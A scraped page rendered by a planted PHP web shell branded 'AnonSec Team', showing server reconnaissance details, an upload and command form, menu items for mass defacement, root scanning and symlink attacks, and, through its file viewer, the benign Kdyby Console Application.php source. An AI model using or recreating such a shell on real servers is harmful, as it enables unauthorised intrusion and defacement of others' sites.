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/  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/vendor/kdyby/console/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/vendor/kdyby/console/src/Application.php
<?php

/**
 * This file is part of the Kdyby (http://www.kdyby.org)
 *
 * Copyright (c) 2008 Filip Procházka (filip@prochazka.su)
 *
 * For the full copyright and license information, please view the file license.txt that was distributed with this source code.
 */

namespace Kdyby\Console;

use Nette\Application\Application as NetteApplication;
use Nette\DI\Container;
use Nette\Framework as NetteFramework;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\ArgvInput;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\ConsoleOutput;
use Symfony\Component\Console\Output\OutputInterface;
use Tracy\Debugger;
use Tracy\Dumper;

class Application extends \Symfony\Component\Console\Application
{

	use \Kdyby\StrictObjects\Scream;

	const CLI_SAPI = 'cli';
	const INPUT_ERROR_EXIT_CODE = 253;
	const INVALID_APP_MODE_EXIT_CODE = 252;

	/**
	 * @var string[]
	 */
	private static $invalidArgumentExceptions = [
		\RuntimeException::class,
		\InvalidArgumentException::class,
		\Symfony\Component\Console\Exception\RuntimeException::class,
	];

	/**
	 * @var \Nette\DI\Container
	 */
	private $serviceLocator;

	/**
	 * @param string $name
	 * @param string $version
	 */
	public function __construct($name = 'Nette Framework', $version = NULL)
	{
		parent::__construct($name, $version ?: (class_exists(NetteFramework::class) ? NetteFramework::VERSION : 'UNKNOWN'));

		$this->setCatchExceptions(FALSE);
		$this->setAutoExit(FALSE);
	}

	public function injectServiceLocator(Container $sl)
	{
		$this->serviceLocator = $sl;
	}

	public function find($name)
	{
		try {
			return parent::find($name);

		} catch (\InvalidArgumentException $e) {
			throw new \Kdyby\Console\UnknownCommandException($e->getMessage(), $e->getCode(), $e);
		}
	}

	/**
	 * @param \Symfony\Component\Console\Input\InputInterface $input
	 * @param \Symfony\Component\Console\Output\OutputInterface $output
	 * @return int
	 * @throws \Exception
	 */
	public function run(InputInterface $input = NULL, OutputInterface $output = NULL)
	{
		$input = $input ?: new ArgvInput();
		$output = $output ?: new ConsoleOutput();

		if ($input->hasParameterOption('--debug-mode')) {
			if ($input->hasParameterOption(['--debug-mode=no', '--debug-mode=off', '--debug-mode=false', '--debug-mode=0'])) {
				if ($this->serviceLocator->parameters['debugMode']) {
					$this->renderException(new \Kdyby\Console\InvalidApplicationModeException(
						'The app is running in debug mode. You have to use Kdyby\Console\DI\BootstrapHelper in app/bootstrap.php, ' .
						'Kdyby\Console cannot switch already running app to production mode.'
					), $output);

					return self::INVALID_APP_MODE_EXIT_CODE;
				}

			} else {
				if (!$this->serviceLocator->parameters['debugMode']) {
					$this->renderException(new \Kdyby\Console\InvalidApplicationModeException(
						'The app is running in production mode. You have to use Kdyby\Console\DI\BootstrapHelper in app/bootstrap.php, ' .
						'Kdyby\Console cannot switch already running app to debug mode.'
					), $output);

					return self::INVALID_APP_MODE_EXIT_CODE;
				}
			}
		}

		if (class_exists(Dumper::class) && $input->hasParameterOption('--no-ansi')) {
			Dumper::$terminalColors = FALSE;
		}

		try {
			return parent::run($input, $output);

		} catch (\Kdyby\Console\UnknownCommandException $e) {
			$this->renderException($e->getPrevious(), $output);
			list($message) = explode("\n", $e->getMessage());
			Debugger::log($message, Debugger::ERROR);

			return self::INPUT_ERROR_EXIT_CODE;

		} catch (\Exception $e) {
			if (in_array(get_class($e), self::$invalidArgumentExceptions, TRUE)
				&& preg_match('/^(The "-?-?.+" (option|argument) (does not (exist|accept a value)|requires a value)|(Not enough|Too many) arguments.*)\.$/', $e->getMessage()) === 1
			) {
				$this->renderException($e, $output);
				Debugger::log($e->getMessage(), Debugger::ERROR);
				return self::INPUT_ERROR_EXIT_CODE;
			}

		} catch (\Throwable $e) {
			$e = new FatalThrowableError($e);
		}

		$app = $this->serviceLocator->getByType(NetteApplication::class, FALSE);
		if ($app !== NULL) {
			/** @var \Nette\Application\Application $app */
			$app->onError($app, $e);
		}

		$this->handleException($e, $output);

		return max(min((int) $e->getCode(), 254), 1);
	}

	/**
	 * @param \Exception|\Throwable $e
	 * @param \Symfony\Component\Console\Output\OutputInterface|NULL $output
	 */
	public function handleException($e, OutputInterface $output = NULL)
	{
		$output = $output ?: new ConsoleOutput();
		if ($e instanceof \Exception) {
			$this->renderException($e, $output);
		} else {
			$output->writeln(sprintf('<error>  %s  </error>', get_class($e)));
			$output->writeln(sprintf('<error>  %s  </error>', $e->getMessage()));
		}

		$file = Debugger::log($e, Debugger::ERROR);
		if ($file !== NULL) {
			$output->writeln(sprintf('<error>  (Tracy output was stored in %s)  </error>', basename($file)));
			$output->writeln('');

			if (Debugger::$browser) {
				if (!file_exists($file)) {
					$file = Debugger::$logDirectory . '/' . $file;
				}

				exec(Debugger::$browser . ' ' . escapeshellarg($file));
			}
		}
	}

	protected function doRunCommand(Command $command, InputInterface $input, OutputInterface $output)
	{
		if ($this->serviceLocator) {
			$this->serviceLocator->callInjects($command);
		}

		return parent::doRunCommand($command, $input, $output);
	}

	protected function getDefaultInputDefinition()
	{
		$definition = parent::getDefaultInputDefinition();
		$definition->addOption(new InputOption('--debug-mode', NULL, InputOption::VALUE_OPTIONAL, 'Run the application in debug mode?'));

		return $definition;
	}

}

Anon7 - 2022
AnonSec Team